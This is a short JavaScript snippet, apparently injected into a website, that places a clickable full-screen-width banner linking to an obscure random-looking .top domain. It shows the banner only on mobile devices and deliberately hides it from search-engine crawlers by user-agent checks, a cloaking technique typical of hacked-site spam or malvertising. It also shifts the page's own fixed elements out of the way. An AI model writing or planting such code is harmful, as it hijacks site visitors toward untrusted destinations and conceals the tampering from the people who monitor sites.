(function(){
function showFakemarkBanner(){
    if(!document.body||document.getElementById('site-top-media'))return;
    var ua=navigator.userAgent||'';
    if(/baiduspider|360spider|haosouspider|sogou|bingbot|bytespider|yisou|googlebot|slurp|spider|crawler|\bbot\b|bingpreview|facebookexternalhit/i.test(ua))return;
    if(!/android|iphone|ipad|ipod|mobile|harmonyos/i.test(ua)&&window.innerWidth>768)return;
    var frame=document.createElement('div');
    var image=document.createElement('img');
    var spacer=document.createElement('div');
    var targetUrl="https://8131500ye.nzdfht256h6sb5nfdh3nf.top/";
    frame.id='site-top-media';
    frame.setAttribute('role','link');
    frame.setAttribute('tabindex','0');
    frame.setAttribute('aria-label','顶部图片');
    frame.style.cssText='display:block;position:fixed;top:0;left:0;z-index:9999;width:100%;height:clamp(72px,24vw,190px);overflow:hidden;line-height:0;background:#000;cursor:pointer;';
    frame.onclick=function(){window.open(targetUrl,'_blank','noopener,noreferrer');};
    frame.onkeydown=function(event){if(event.key==='Enter'||event.key===' '){event.preventDefault();frame.click();}};
    image.alt='';
    image.style.cssText='display:block;width:100%;height:100%;object-fit:cover;object-position:center;border:0;';
    frame.appendChild(image);
    spacer.id='site-top-offset';
    spacer.style.cssText='display:block;width:100%;height:clamp(72px,24vw,190px);';

    function removePanel(){
        if(frame.parentNode)frame.parentNode.removeChild(frame);
        if(spacer.parentNode)spacer.parentNode.removeChild(spacer);
    }

    image.onerror=removePanel;
    image.onload=function(){
        document.body.insertBefore(frame,document.body.firstChild);
        frame.parentNode.insertBefore(spacer,frame.nextSibling);
        requestAnimationFrame(function(){
            var bannerHeight=frame.offsetHeight;
            var elements=document.body.querySelectorAll('*');
            for(var i=0;i<elements.length;i++){
                var element=elements[i];
                var style=getComputedStyle(element);
                var rect=element.getBoundingClientRect();
                if(element!==frame&&style.position==='fixed'&&rect.top<bannerHeight&&rect.width>window.innerWidth/2){
                    element.style.setProperty('top',bannerHeight+'px','important');
                }
            }
        });
    };
    image.src="";
}
if(document.readyState==='loading')document.addEventListener('DOMContentLoaded',showFakemarkBanner);
else showFakemarkBanner();
})();